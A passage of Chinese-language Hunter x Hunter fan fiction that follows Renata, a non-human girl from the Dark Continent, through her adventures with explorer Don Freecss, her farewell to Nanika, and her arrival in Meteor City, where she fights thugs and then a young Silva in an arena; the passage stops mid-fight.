《[猎人]观察人类日记》
1. 东×蝴蝶×初遇
远处的风带来花朵馥郁的气息，月色透过枝叶的罅隙洒落一片光辉。
是个美好的夜晚。蕾娜塔惬意地躺在花丛里想着。一只蝴蝶缓缓停落在她的鼻尖，她忍不住打了个喷嚏。
如果她没有嗅到那股焦臭的话。
“东，你怎么又在烤嵌合蚁啦！”蕾娜塔猛地直起身来，冲树下的男人抱怨。
“啊，不好意思，蕾娜塔。”树下的男人挠挠头，快速把手上树枝串着的不知名焦炭扔到一边。拿起别在领子上的笔在一旁的笔记本上记录到：
嵌合蚁的肉易焦且火候不好控制，发出的烟味臭，肉质柴，能量少，不推荐食用。
随后小心地收起笔记本连同其他物品珍重地放入包中，将一旁噼里啪啦的柴火熄灭。
“要走了哦，蕾娜塔。”东·富力士背上挎包，看向花丛。
莹莹月光下，少女身着紫藤色连衣裙，过长的黑发垂落至脚踝，轻盈的脚步在鸢紫色的花朵中流连，宛若其中翩翩起舞的蝴蝶。
一如他初见她一般。
“好哦。”蕾娜塔低头单手拍掉身上一些细微的杂草，抬头便对上了东·富力士的视线，她弯起嘴角，绽放出灿烂的笑颜。
在他的注视下，蕾娜塔小跑到他面前，而另一只手从开始就背在身后。
“快闭上眼睛，伸出手，然后上面拢起来，我说松开你就松开。”她一脸神秘道。
他照着她说的做，闭了眼，伸出了自己的手，拢起来。
像个笼子，他随意地想。
黑暗中，少女的呼吸有些急促，应该是兴奋的缘故。她靠近了他，温热的鼻息喷洒在他的脸上，东·富力士可以清晰地闻到她身上的花香，他的睫毛颤了颤，环状的东西轻轻压在了他的头发上，在窸窸窣窣中，他还听到了翅膀扑腾的声音，应该是…
“我倒数三下，睁眼后就立马松开哦。三，二，一。”他听见她的声音这么说。
睁开眼的瞬间，无数蝴蝶飞涌而上，如果说朦胧月色是淡淡的烟雾，那它们就是失落的火焰，在他和她之间周旋，燃烧着眼前的浓墨重彩。
蕾娜塔怔怔地伸出了手指，他也跟着伸出了手指。一只湖蓝色的蝴蝶落在了他的指尖，像羽毛一样轻飘飘的，痒痒的。
他看着蕾娜塔惊讶却怕惊动蝴蝶不敢出声的表情，嘴角微微上扬。
别动，她无声地说，接着聚精会神地盯着他的指尖。
蝴蝶停留在了他的指尖。
他与她。
呈现在它精雕细琢的羽翼上。
他想起了书中所描述的蝴蝶效应。
据说在热带小岛上一只蝴蝶轻轻地煽动翅膀，那么在它北部的另一座小岛便会刮起飓风。
而此刻蝴蝶煽动的翅膀。
刮起了他心中的飓风。
东·富力士的小指蜷缩了一下，惊动了蝴蝶。
在他和她的视线里，蝴蝶托着星辰，变成了小点，直至看不清。
他的手察不可觉地动弹一瞬。
蕾娜塔回过神来，露出了沮丧的表情，但看到东·富力士头上的花环后又高兴起来，从口袋里掏出一面镜子，对着他。
“快看看好不好看？”
东·富力士看向镜中的自己，原先压在头上的环状物是鸢尾色花朵的花环，每朵花和绿叶都有规律的相称，挑不出一点错处。不得不承认蕾娜塔的手很巧，编的很细致。视线往上移，对上了她那双红宝石一般亮晶晶的眼睛，不含一丝杂质。
“好看。”他把手贴在心口，毫不违心地说。
隔着一层皮肉，他的心脏在不停地跳动。
“那当然，我的手艺肯定是最好的。也不看看我是谁。”蕾娜塔臭屁起来。
“好好好。”东·富力士附和道，露出无奈的神色，“那么手艺最好的蕾娜塔我们可以出发了吗？”
“是全世界最好！”蕾娜塔补充道。
“那全世界手艺最好的蕾娜塔愿意和我这个小小冒险家出发吗？”
“好的！”
蕾娜塔遇见东·富力士是在三个月前一座古代遗迹里，这个遗迹是她过去的家，有她的气息，守护遗迹的金银锭把她也圈进了范围。
当东·富力士闯入时，金银锭立马告诉了她，并打算解决掉。起初她以为是和之前一样没有心智的活物，安安心心地在花园里准备茶话会，等待金银锭回来一起喝茶。却不料金银锭输掉了，回来的时候还带上了一个男人。
“你好，我是东·富力士。”男人带着和煦的笑，朝她伸出了手。
啊？蕾娜塔第一次碰到除她以外的人类语言显然有些不知所措，她的眼神疯狂求救金银锭，你知道他讲的意思吗？
金银锭眼神飘忽，转头选择无视蕾娜塔的眼神来表示心虚。
它不会说话，不要问它。
！！啊啊啊金银锭为什么要抛弃我。
说好的呢！！
蕾娜塔只能在心里疯狂谴责金银锭，面上还要挂着微笑，来表示自己的友好。
既然他伸出了手，应该是表示交友的意思吧。
“你好，我是蕾娜塔。”她搭上他的手，再松开。
双方都说着不通的语言。
男人点点头，了然于心。
两个人都意会了对方的意思，那真是太好了。蕾娜塔松了口气。
然后男人打起手势，大意是要参观遗址吧？蕾娜塔胡乱猜测，算了不管了，金银锭都输了，就让他去吧，她只是个爱开茶话会的小女孩，她还有什么办法呢。蕾娜塔点点头。
男人得了准许就进去了。
蕾娜塔坐在小木凳上，招呼金银锭坐下。餐桌上是她制作的小蛋糕和红茶，还有精致的插花。她找了好久才找到食谱上的替代品呢。
不过今天月光真好呢，她做的小蛋糕和红茶味道还是一等一的好，插花的搭配也是那么完美，虽然碰到了个语言不通的男人，虽然听到他进去的位置突然发出嘭的一声还冒出了黑烟，虽然出来的男人变得灰头土脸，但是好在一切都很顺利呢。
等等…嘭的一声？冒出黑烟？灰头土脸的男人？？？
！！！！？？？？你要对我温暖的小家做什么？？？？
蕾娜塔慌忙放下红茶，跑去查看。
那个男人站在废墟前，不好意思的挠挠头，嘴里叽里咕噜冒出她不懂的语言。
我那么大的一个小家呢？
我好不容易复原的……
蕾娜塔感觉天塌了。她要重新回去睡觉，睡完什么都没有了。说不定这是一场梦呢。哈哈。那这个噩梦也太可怕了吧。这个草坪很不错，软软的，她就在这里睡下吧。晚安，金银锭，晚安，小月亮，晚安那个男人——
这个男人怎么蹲在她旁边了？
他好像有话要说。
那听听吧。
男人把她拉到有沙的地方，拿了一根树枝，在地上涂涂画画。
他画了一个房子，然后是废墟，最后是人站在房子面前。画完他就真诚地看着她。
哦哦哦，修房子啊。那太棒了。靠你了。蕾娜塔拍拍男人的肩膀，点点头肯定他的方法。
转头就倒地上睡了。
东·富力士看着蕾娜塔毫无戒心的模样，叹了口气，开始重造房子。
遗址附近并没有什么强大的生物，即使是有金银锭也不应该。而且蕾娜塔屋子里的布置是非常接近人类大陆的。他抿紧双唇，若有所思地看向熟睡的蕾娜塔。
造房子期间，蕾娜塔负责醒了就吃，困了就睡。
闲下来的时候东·富力士就教蕾娜塔一些通用语。
蕾娜塔学得很快。
“东，我饿了。”
“东，我想吃烤肉。”
“东，我
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想吃小蛋糕。”
“东……”
尤其使唤人方面上。
毕竟是个孩子。
东·富力士只是笑着摇了摇头，任劳任怨地去完成蕾娜塔的要求。
“东你的厨艺（嚼嚼嚼）真的超好诶！所有的冒险家（嚼嚼嚼）厨艺都像你（嚼嚼嚼）这么好吗？”蕾娜塔吃着手上的烤鱼再一次由衷夸赞道。
“蕾娜塔先吃完嘴里的东西再说话…其他的冒险家吗？”东·富力士摩挲下巴思考道“不清楚哦，不过因为自己的手艺毒死的冒险家也不少哦。”
“啊？被自己毒死的冒险家？那冒险家还真是危险诶，既要担心周遭的动植物，还要担心自己的手艺。”
“是哦。不过有了念的话，危险程度会降低很多吧。”
“念？是什么？”蕾娜塔好奇道。
“就是人体自身发出的能量。”说罢东·富力士用念在指尖凝成了字。“看得到吗？蕾娜塔。”
蕾娜塔凑过去看。
“是我的名字诶。好神奇。”她的手指穿过了念。
“既然看得到的话，那说明蕾娜塔也有念哦。”东·富力士从包里掏出一个透明的杯子，倒入清水，又从树上摘了片树叶放入水中，推向蕾娜塔“来试试吧，蕾娜塔。双手放在水杯旁边，集中注意力，对着水杯。”
蕾娜塔照做，紧紧地盯着杯子。
一分钟。
五分钟。
十分钟。
四周很安静，两个人都屏息凝神。
“嘎嘎。”树上的鸟开口叫了几声，打破了这紧张的氛围。
“怎么会没有反应。”蕾娜塔情绪低落，戳戳杯子。“是不是坏了。”
东·富力士抿唇，开口询问道“蕾娜塔除了能看见念还有什么能力吗？”
“唔，受伤恢复的很快算吗？”蕾娜塔眼神向左下方飘忽仔细回忆。“有一次被其他生物戳了个对穿，胸口一个大洞，超级痛的，结果一转眼伤口就好了。”
“那可能是制约与誓约吧，作为你某种能力的代价。”东·富力士望向蕾娜塔的眼神变得复杂。
快速的恢复能力。
该说不愧是黑暗大陆的产物吗。
蕾娜塔倒是不在意这个制约与誓约，没有念能力，自己的武力也足够用了。
她拿起树叶包着的烤鱼吃的津津有味。
“蕾娜塔在遇到我之前有遇到过别的人类吗？”
他看向远方，不远处的风信子在轻轻摇着头。
“应该是没有吧？我醒来就在这里了。手里还多了几张有详细图示的图纸，还是非常对我口味的那种图纸。这个小屋就是我按照图纸建造的呢。好看吧。”蕾娜塔本想指着屋子，但看到了一堆毛胚。“啊忘记变成废墟了。”她吐舌。
“确实好看，”东·富力士回想了一下“不过你说的是醒来？在醒来之前什么都不知道吗？”
“对啊，大脑里面一片空白，什么都不知道呢。不过我倒是无所谓啦。忘记就忘记了，那肯定也不是什么重要的记忆。”她继续啃起烤鱼。
“那图纸呢？我可以帮你按照图纸来建造哦。保证和你之前的一模一样。”东·富力士眼睛紧紧盯着蕾娜塔，伸出手指信誓旦旦道。
蕾娜塔放下烤鱼擦擦手，东·富力士以为她要去找图纸、准备站起来继续施工顺便研究图纸的时候。
“被我弄丢了。”她拿起水杯喝水。顺带吐槽，“这个烤鱼好辣。”
“……”是他多想了。
“等你的小屋建好了，你要和我一起去冒险吗？”只是沉默一瞬，他嘴角扬起，语调轻松道。
“冒险？可是我还要等拿尼加回来，再办一次茶话会，我们说好了的。”蕾娜塔犹豫地回答道。
“那我们就先等拿尼加回来吧。冒险的事可以先放一会。不急。”
“好！”
2. 冒险×拿尼加×许愿
在等待拿尼加的日子里，东·富力士经常会向蕾娜塔讲述人类大陆，尤其是以冒险家的视角来娓娓道来，这些故事格外的惊险和有趣。
“东，所以你最后找到那七大美色之一的火红眼了吗？”
“找到了哦，住在窟卢塔的深山地带。果然如传言一样是和火一般的颜色呢。”东·富力士漫不经心地瞥了一眼身旁的少女。
相比于火红眼。
蕾娜塔的眼眸里燃烧的火、流动的血。
更为独特呢。
“火一般的颜色？我也好想看看啊。”蕾娜塔托腮，向往地看向南边。
东告诉她人类大陆就在那个方向。他是从那里上岸的。
“蕾…娜…塔…”突然有道声音断断续续从树后传来。
东·富力士的圆范围内没有捕捉到任何生物。他警惕地用念缠绕身体。
对方和蕾娜塔一样没有气息。
“啊，是拿尼加的声音，是拿尼加回来了。”蕾娜塔惊喜地跑到树后，给予类人黑暗生物一个紧紧的拥抱，随后牵起拿尼加的手带到东·富力士面前。
穿着粉红色裙子的黑暗生物。面部地方应该是眼睛的位置是虚无的空洞。躯干由黑雾组成。
“拿尼加，这是东·富力士，我的朋友，还是从人类大陆来的冒险家哦。”蕾娜塔半蹲下和拿尼加平视，用通用语向拿尼加介绍东·富力士。
拿尼加似懂非懂地点点头。
“是…蕾…娜…塔…的…朋…友…”
她明白朋友的意义，空洞弯弯，似乎很开心。
东·富力士如临大敌，喉咙一阵翻滚，深深地吸了一口气。
“东，这是拿尼加，很可爱吧，这是我给她做的裙子哦。是不是把拿尼加衬得更加可爱了。”蕾娜塔目光落到被厚重的念包裹、身体紧绷的东·富力士，补充道“不用担心哦，你是我的朋友，拿尼加不会伤害你的，而且她听得懂所有语言，这是我为拿尼加许的愿望呢。”
“嗯…不…会…伤…害…蕾…娜…塔…的…朋…友…”拿尼加肯定蕾娜塔的话。
“愿望？”东·富力士捕捉到了这个关键词语。
“对啊，这是拿尼加的能力哦。厉害吧。”蕾娜塔摸摸拿尼加的头。
“茶…话…会…”
“啊差点忘了，走吧拿尼加，”蕾娜塔回头看向站在原地不动的东·富力士，“先准备茶话会，拿尼加的能力茶话会再说吧。”她俏皮地眨眨眼。
东·富力士叹了口气，收起大部分的念，只留下薄薄一层，来做准备，跟在蕾娜塔的后面。
毕竟是黑暗大陆。
出现什么也不奇怪了吧。他自嘲地想。
墨色缓缓晕染，留下苍白的心。细碎的流沙铺洒在青色的天宇上。随了微风送来的花浪，在近处无声地微微起伏耸动着。茶点香甜的气息织成柔软的网，罩住了餐桌上的人和非人。
“果然茶话会什么的最棒了。”蕾娜塔喟叹一声，像只猫儿似的，打了个长长的哈欠，舒服地伸了个懒腰。
“好…吃…”拿尼加双手捧着茶杯，空洞变成了星星状。
金银锭点点头，赞同蕾娜塔和拿尼加的话。
东·富力士面色平静浅酌几口，细细打量蕾娜塔的神色。金银锭和拿尼加坐在她的身侧，熟稔地品尝着茶话会的茶点。
一派和谐的景象。
可是他想听的不是茶话会。
“之前说到许愿了吧。只要你达成拿尼加三个要求，拿尼加可以实现你的任何一个愿望。”蕾娜塔一脸满足地看着拿尼加享受自己制作的茶点。“这也是为什么遗迹周围除了金银锭没有其他生物的原因哦。”
金银锭点点头，挖起一勺糕点。
“要求具体是？”
“不清楚哦，因为我一直在这里，基本上不怎么出去，所以我不知道别的生物和拿尼加许愿的要求。你可以试试？”蕾娜塔毫不在意地摆摆手。
“东·富力士，你可以给我你的笔吗？”原本专注茶点的拿尼加，目光从茶点落到了东·富力士身上。
“拿尼加要准备实现你的愿望了哦。拒绝的话，我不清楚后果。”蕾娜塔端起茶点，笑眯眯地说。
东·富力士多次死里逃生的直觉告诉他如果拒绝的话很危险。他悬了一口气，面上不显露半分。
“好哦，给你，拿尼加。”东·富力士取下别在领口的笔递给拿尼加。
“东·富力士，可以给我你的茶吗？”
“好的，拿尼加。”东·富力士把他面前的茶递给拿尼加。
“东·富力士，可以给我你的挎包吗？”
东·富力士取下挎包递给拿尼加。
拿尼加不说话了，空洞直勾勾地看着东·富力士。
应该是可以许愿了。东·富力士想。
“拿尼加，可以把挎包和笔还给我吗？”东·富力士试探道。
“好的。”拿尼加把挎包和笔还给了富力士，慢吞吞道“蕾…娜…塔…说…过…东…是…她的…朋…友，不…可…以…伤…害…蕾…娜…塔…的…朋…友。”拿尼加转头看向蕾娜塔，期待蕾娜塔的夸赞。
东·富力士将笔和挎包放回原来的位置，如释重负地松了一口气。
“拿尼加好乖呢。下次茶话会奖励拿尼加最喜欢的糖渍梅子怎么样。”蕾娜塔的手搭在拿尼加肩上，眼角弯弯地注视拿尼加。
但是下一秒她微微皱起了眉头，懊恼道“差点忘了，我要和东一起去冒险了，下次茶话会不知道是什么时候了。”她话语停顿片刻，思考了一下“这样吧，拿尼加要是想吃糖渍梅子就来我家，我把它放在家里凳子上，是拿尼加刚好可以拿的到的距离，当然金银锭想吃的话，也可以吃哦。”蕾娜塔转头轻拍金银锭的肩膀。
“好…”拿尼加点点头，继续享用茶点。
金银锭点点头。
“茶话会结束，我们就去冒险吧，东。苏醒后我还没有看过黑暗大陆是什么样呢。”蕾娜塔一想到紧张刺激的冒险生活就此展开，立马干劲满满。
“看到吓人的怪物可不要哭鼻子。”东·富力士得到自己想要的消息后，挂上一副笑脸，端起茶点，开玩笑道。
“我已经不是小孩子了。东！”蕾娜塔佯装生气地捶了一下桌子。
“知道啦—”东·富力士笑得爽朗。
茶话会
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结束的很快，蕾娜塔像往常一样道别拿尼加和金银锭，背上一个自制的小包就出发了。
“东，治疗百病的香草真的在我家附近吗。”
“东，一块石头可以发电几千瓦，那接触到不会触电而死吗？”
“东，尼托洛米吃下去可以长寿到几千吗？”
或许是初次离家的原因。
一路上她兴奋地拉着东·富力士叽叽喳喳问个不停。
“真的。在你家附近有一大片，就是你前几天凉拌的那个草。你不是还和我抱怨说吃不完，刚割完就长回来吗。”
“木头之类的绝缘物可以隔开电流，用绝缘物去拾取无人石就不会触电了。”
“这个还没有人尝试过，但是它周边的生物是挺长寿的。”
东·富力士不厌其烦地回答她每个或简单或奇思妙想的问题。顺便把路上碰到的各种奇妙的生物记录在笔记中。
当然他也有“失手”的时候，“不小心”让怪物冲向蕾娜塔。
看似无害的蕾娜塔，对待黑暗大陆的生物反而游刃有余。
注意到他的目光，蕾娜塔只是微笑道“不要小瞧我哦，我在遇到拿尼加之前帮了金银锭不少忙哦。”
蕾娜塔闲来无事的时候就会翻开东·富力士的笔记本。不过东写的和她记忆里的大差不差，没什么看点。而且东的字迹潦草，他本人有时也认不出来。还要依据她的记忆来重写。
“东，你为什么一有空就记笔记啊。这些笔记很重要吗？”蕾娜塔凑过头看着东·富力士手里笔记上密密麻麻的大片文字和涂鸦疑惑道。
明明靠记忆就能记住了。
“蕾娜塔，从人类大陆前往黑暗大陆是很不容易的，大多数人终其一生也无法到达。我作为少数幸运登陆的人记载下来这些，一方面是向他们展示人类大陆之外的生物，告诉他们天外有天，另一方面是警示人类，不要轻易踏入凶险的世界。”东·富力士盯着蕾娜塔的眼睛认真道。
很显然，蕾娜塔不懂。
蕾娜塔懵懂地点点头，感叹完“人类真脆弱呢。”目光就被其他的事物所吸引。
猫扑蝴蝶一般。
兴致转瞬即逝。
她无法想象这其中的千辛万苦，只知道来自人类大陆的东·富力士站在她的面前，机缘巧合和她成为了朋友，他们一起冒险，去好玩的地方，见识美妙的景象，然后会有一段不同于在家的经历。
换成拿尼加来也是一样的。
只要享受这个过程就好。
对她来讲这就已经足够了。
东·富力士也没有期待蕾娜塔现在就能理解。她的寿命还很长，她会慢慢学到的。没学到也没有关系。这些他都不在意。
真正的人都不一定有的东西。
要求非人之物有人之心？
他顿了顿笔，为这样的想法轻笑一声，摇摇头，继续书写他在黑暗大陆的亲身经历。
人类只会相信他们认知以内的事物。
寻常人难以想象的奇遇和冒险。
或许会被当成奇幻故事呢。
信与不信。
这些都需要后来的勇敢者来证实了。
3. 别离×承诺×三人
光阴步履匆匆。不知不觉已经过了一年。
“东你的笔记本只剩几页了诶。”蕾娜塔视线扫到笔记本末尾仅剩的干净的几条线。
“嗯，所以我们把东边大陆剩余部分探索完，我们绕一圈把你送回去。我再从南边回人类大陆。”东·富力士心里规划着大致路线。
“啊？好可惜，不能和东继续冒险，也尝不到东的手艺了。”蕾娜塔的眉眼流露出淡淡的惋惜，下一秒看到新事物时，就把这惋惜抛到脑后，兴致勃勃地打量周围事物。
东·富力士早就见怪不怪了。
他继续整理他的笔记。
就这么继续走了大半个月。
蕾娜塔远远望去看到了大簇大簇熟悉的香草和圆形脑袋的生物。
“这是金银锭吗？”她有些不确定，回头看向东·富力士。
“是的。”东·富力士从笔记里抬头看了眼，然后又埋回去了。
“回家啦。”得到肯定的答案后，蕾娜塔冲向前方，张开双臂，像只鸟儿摇摇晃晃，贪婪地汲取着熟悉的气息。
“金银锭好久不见呀。想我了吗？”她在金银锭面前停住，冲它摆摆手。
金银锭点点头。
“我就知道。”蕾娜塔一蹦一跳地走进了遗址里。
正当她走近她的小屋时，意料之外地在窗口看到了一角粉色裙摆。
“拿尼加你也在啊。”她推开门，坐在椅子上抱着糖渍梅子的拿尼加转头看向她。
“欢迎回来。蕾娜塔。”
话语显然比上次流利了很多。
“好想你呀，拿尼加。”蕾娜塔抱起拿尼加转了个圈圈，裙摆在空中漾出一圈弧度。拿尼加笑得开心。“我不在的时候，拿尼加去哪里了呢。还是老样子吗？”她把拿尼加轻轻地放在椅子上。
“唔，不小心到了未来。遇到了三个人类。”拿尼加伸出三个指头，“有个人向我许愿了。”
“人类？”蕾娜塔惊讶地挑了挑眉。
“嗯。许愿的人叫杰格。其他人我不知道了。”拿尼加摇摇头。
“他和拿尼加许了什么愿望呢？”蕾娜塔好奇地追问道。
“好像是给我一具身体？不过也是两百年之后了。”拿尼加不在意这些，她打开糖渍梅子的罐子，拿出一颗梅子放入蕾娜塔的嘴中，再拿出一颗放入自己嘴里。
腌渍过后的梅子原本果肉酸涩的味道被甜味中和，入嘴便是那酸酸甜甜的味道。
蕾娜塔没有心思品尝，咀嚼几下，就吞咽入胃。
“拿尼加也要去人类大陆了呢。”蕾娜塔有一搭没一搭地抚摸着拿尼加的头，语气感慨。“在拿尼加还没有走之前，我们先送东离开吧。”她看向窗外的黑色影子。
“好。”拿尼加跳下椅子，把罐子放上去。
蕾娜塔牵起她的手，走出门，映入眼帘的就是东·富力士半靠在墙壁上，阖着眼，嘴里叼了一根香草的画面。
看来他已经等待好一会了。
听到蕾娜塔的动静后，东·富力士站起来，开始带着他们去往他来时的岸边，他的船还停泊在那里。
东·富力士的脚步很慢，是按着拿尼加的节奏来的。
一路上很沉默。
接近傍晚，虫子鸣叫的声音开始多了起来。
快到岸边了。
“东，冒险还会继续吗？”蕾娜塔看着近处随浪浮动的船只，忍不住开口，试探性问道，牵着拿尼加的手也紧了几分。
“那肯定啊，西边大陆我还没有探索，作为冒险家，怎么可能放弃。”东·富力士把嘴上叼着的香草拿下，对蕾娜塔露出了自信的笑容。
像是得了承诺。
蕾娜塔眼底漾出笑意，唇角弯起。
“好，那等东从人类世界回来，我们继续冒险。”
颠簸疲惫的太阳缓缓投入海的臂弯，落日的余晖透过云层轻轻洒落，为东·富力士的背影镀上一层金边。
船只被海浪推得越来越远。
蕾娜塔站在岸边挥手告别。
东·富力士深深地望了一眼，转身不再回头。
直到对方变成了一个黑点，影影绰绰看不清大陆上的树木和高山。
“再见，蕾娜塔。”他轻声说道。
话语沉寂在风中。
放在脚边的笔记本快速地被海风吹动，露出了湖蓝色的一角。在光线的照耀下，闪着细碎的光。
东·富力士踏上黑暗大陆前便深知它的残酷，在这里只有弱肉强食的丛林法则。好在他的念能力足够让他畅通无阻。
直到他来到了这座开满了风信子的古代遗址。
风信子的花语是遗忘过去。
看惯了的厮杀而急躁的心因为花园里的少女恬静的脸逐渐平静下来。
银雾也难以朦胧少女眼里清透的光。
虽然少女身上谜团重重。
但这一趟是值得的。
东·富力士想。
自东·富力士走后，蕾娜塔又回到了那枯燥无味的生活。庆幸的是，拿尼加一直陪着她。
因为想看到东回来后和她一起冒险，发现她什么都知道的惊讶的表情，蕾娜塔带着拿尼加把剩下的东大陆走了个遍。
结果东还是没有回来。
她也试图借用拿尼加的能力，想问东为什么还不回来。
但是稀奇的是拿尼加却无法实现这个愿望。
又过了一百年左右。蕾娜塔在黑暗大陆的西南边，遇到了三个人类。
两个男人和一个女人。
他们面色平静，动作熟练，看来不是第一次到来了。感知到她的到来时，充满了防备。目光从她身上落到旁边的拿尼加时，姿势松懈了一些。
看来这就是拿尼加说的三人了。
“你是？”胡子拉喳的男人开口道。
“我是蕾娜塔，我没有恶意，黑暗大陆很少有人类到来，对你们的到来我感到新奇，所以过来看看。”蕾娜塔为了证实自己的无害，往后退了几步，站在那，不再靠近。
他们知道了蕾娜塔的名字后，露出了恍然大悟的神色。身体没有先前那么紧绷了。
看来是知道她的存在的。
黑色头发的男人向前一步介绍道“我是杰格·揍敌客，这是尼特罗。”他指向胡子拉碴的男人，“这是林涅。”他指向一旁不说话的女人。“我们在?新世界纪行?这本书里了解过你。”
“?新世界纪行?？”蕾娜塔疑惑问。
东·富力士先前并没有告诉她这本书。
“嗯，是东·富力士写的关于在黑暗大陆的一切。”杰格·揍敌客解释道。
“那东·富力士呢？”
“作者的行迹我们并不知
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晓。”杰格·揍敌客摇头。
“好。”蕾娜塔见得不到更多关于东的信息，也不想多聊，转身准备离开。
“等等。”杰格·揍敌客叫住了她。“我们也是冒险家，你要和我们一起冒险吗？”
蕾娜塔驻足，一一扫过面前三人。他们身上有着厚重的念，和东一样也是念能力者。
冒险？可是她已经结束对黑暗大陆的冒险了。
“不用了。这片大陆我已经探索完了。”蕾娜塔摇摇头，逐渐消失在他们的视野。
三人也不做挽留，各自交换了眼色。
孤月高悬。
蕾娜塔开始思索接下来的日子该如何度过。黑暗大陆她已经探索完了，没有什么好玩的了，不如去往东所说的人类大陆？
她也想见识一下东口中的美景。
而且接下去拿尼加也会前往人类大陆。
她一个人在黑暗大陆太无聊了。
正当她想着，离家还有几百米的距离时，拿尼加停在这里不动了。
拿尼加没有抬头，蕾娜塔低头只看见了拿尼加的头顶，还有蓝色的裙摆。
“该说再见了，蕾娜塔。我还要实现杰格的愿望。”还不等她询问怎么了，拿尼加就松开蕾娜塔的手，回答了她心中的疑问，转身朝着三人的方向前进。
蕾娜塔没想到分别的这天来的这么快。
恍惚间拿尼加远去的背影和东的背影重叠。
终于，她下定了决心。
“等一下，拿尼加先不要走。”她叫住了拿尼加，小跑到拿尼加的面前。
“把我送到人类大陆吧。东走了，拿尼加也要走了，我一个人和金银锭在这里，我会很寂寞的。把我送到人类大陆吧，哪里都好。”她半蹲下，原本平静的眼眸带着水花对上拿尼加的眼睛，双手握住拿尼加先前松开的手，恳求道。
在触碰到拿尼加手的那一刻，她的脑海里闪过一段模糊的记忆。记忆里的她也是这样恳求拿尼加。
只不过话语模糊不清。
“好的，蕾娜塔。我会把你送到人类大陆的。”拿尼加微笑着实现了她的愿望。
蕾娜塔来不及细想，她的身体变得透明，快要与夜色融为一体。
“再见，拿尼加。”她站起来挥手，再一次告别。
这一次别离，也不知何时再能见到拿尼加了。
“再见，蕾娜塔。”
拿尼加看着她彻底消失后回头踏上了自己的旅途。
空荡荡的树林里，躲在阴影里的杰格·揍敌客缓缓走出。先前站着蕾娜塔的位置只剩下浅浅的脚印。他快速朝着拿尼加的方向跑去。
尼特罗躺在树上一直展开着圆，在念的加持下，他听到了一声很轻微的声响，也足够让他警惕地坐起来做出防备。
直到看清对方后才放松下来。
“是你啊。大半夜的真吓人。”尼特罗嘟囔一声又重新躺回去。
“抱歉抱歉，做杀手习惯了。”杰格·揍敌客摆摆手，走回了他自己的位置开始复盘。
林涅睡得很沉，没有发现他的离开。不知道尼特罗有没有起疑。
蕾娜塔在没有完成拿尼加的强求就实现了愿望，前往人类大陆，推测拿尼加许愿机制还有隐藏。
远在人类大陆的蕾娜塔打了个喷嚏，不知道是拿尼加想她了还是被那里臭的。
4. 流星街×斗兽场×席巴
这里的垃圾堆积成一座座山，不远处的飞艇还在不断地倒入垃圾，人们在强夺垃圾里的资源，似乎对臭气已经习以为常。
蕾娜塔从一个较为隐蔽的角落里走出，泪花在她的眼眶里打转。
真、的、太、臭、了。她痛苦地捂住鼻子，尽量减少臭气的吸入。
看来这就是东说过的流星街了。人类大陆的无人看管之地。
一身干净的连衣裙，白皙的皮肤，泫然欲泣的可怜样子，蕾娜塔的出现立马引起了注意，暗中不少的人把视线集中在她身上，恶意打量着她。
看来是个迷路的羔羊呢。
光是想象面前的少女跪地求饶的画面就让他们兴奋不已。
“喂，小孩，你是刚来的吧，让哥几个好好教教你规矩吧。”三个男人率先抢在蕾娜塔的面前奸笑道，眼神露骨地扫过蕾娜塔的身体再到她的面孔，双手摩擦着，跃跃欲试。
是个极品呢，玩完之后再倒卖说不定有不少的戒尼。
尤其这双鸽血红的眼眸。
会受到不少收藏家的青睐吧。
三人是这里的三霸王，手段极其恶劣。原本蠢蠢欲动的人们暗道一声不好，只能怪自己不走运，与戒尼失之交臂。
“是吗？那就让我看看你们的规矩吧。”蕾娜塔歪着脑袋轻笑几声。
不会是被吓怕了吧。三霸王互相看了眼对方，就明白对方的意思，眼里的嘲讽显而易见。
一个冲向蕾娜塔正面，另外两个分别从侧面袭击。
蕾娜塔后跳，轻而易举地躲过了三人的攻击。
到她的回合了哦。
胜负已出，三人的手脚均被折断，内脏受到了重创，痛苦地在地上哀嚎。
“好好享受吧。”蕾娜塔头也不回地离开了。
怎么走出流星街呢？东还说过人类生活离不开戒尼，怎么弄到戒尼呢？蕾娜塔苦恼地想着。
不知不觉，走到了名叫斗兽场的地方。门口站着一个女人。
“这位客人，您是来观赛还是参赛的呢。”女人热情地向她询问。
“什么比赛？”
“人和人或者人和兽的搏斗，是一方死亡或者认输才可以结束的比赛哦~客人想看什么比赛呢？”女人详细地向她解释。
“人和人吧。”
“2000戒尼入场费哦~”女人伸出手。
“……”蕾娜塔沉默了。
女人看出了她的窘迫，笑着开口道“没关系的客人，参赛可以获得奖金哦，并且还有自己的专属房间。”随后让出了另一个通道。
蕾娜塔沿着通道走进去，前来接待的指引者领着她去了休息室。
“您的序号是5，下一场就是您了，请在此等待。”
一进门她就被各种方向的视线聚焦。空气中弥漫着浓重的血腥味，至少比垃圾山的臭味好闻多了，她抖抖肩，随意地找了一个地方坐下。
“喂，小姑娘，知道什么是斗兽场吗？可不是你过家家的地方。”坐在沙发上的刀疤脸男人支着腿，双手张开靠在沙发上，带着恶意咧着嘴笑道。
“就是啊老大，女人就应该让兄弟几个…”出声的是坐在他旁边瞎了一只眼的男人。
围绕在他周边的男人意会也跟着笑。
“哼，嘴上瞧不起女人，还不是被女人打败了。”躲在角落里被绷带包裹的女生翻了个白眼，讥讽道。“在斗兽场可不是给你男人女人的。”
“你这家伙！”刀疤脸男人面露凶色，只是挥了挥拳头，不知道忌惮着什么。
蕾娜塔意外地把视线投向她，她们的视线对撞一秒，女生躲闪着别过了头。
“5号的比赛马上开始了，请您前往斗兽场进行决斗。”门被推开，是之前的指引者。
蕾娜塔默不作声地站起来，没有理会那些人的口哨。脚步声在空旷的走廊回荡，向着微弱的灯光前进。
迈过这光与暗的分界线，便是充满欢呼的斗兽场，这里允许欢愉和放纵，允许残杀和疯狂，喷洒的血液和块状的肢体不过是人群的助兴剂。
同样朝她的方向前进的是一个白发的少年。
“三。”
“这种小姑娘席巴一下就解决了，根本不够看！”“席巴把她的心掏出来！”观众席上的人群呼喊着白发少年的名字。
“二。”
席巴？蕾娜塔捕捉到了这个频繁出现的字眼，细细端详他的脸孔，她总觉得这张脸有着熟悉的地方。
“一。”
是谁呢。她就见过那么些人。
“零。”
对方冲过来了，好快。但是比起黑暗大陆的生物来说，还差了点。蕾娜塔向后闪避，躲过了席巴的攻击，匆匆瞥到对方的攻击方式。
手变成了利爪？人类还可以改造身体构造吗？她诧异地看了对方一眼。
“战斗还要分神吗？”席巴落下这句话，就没了踪影。
隐身还是？蕾娜塔环顾四周。
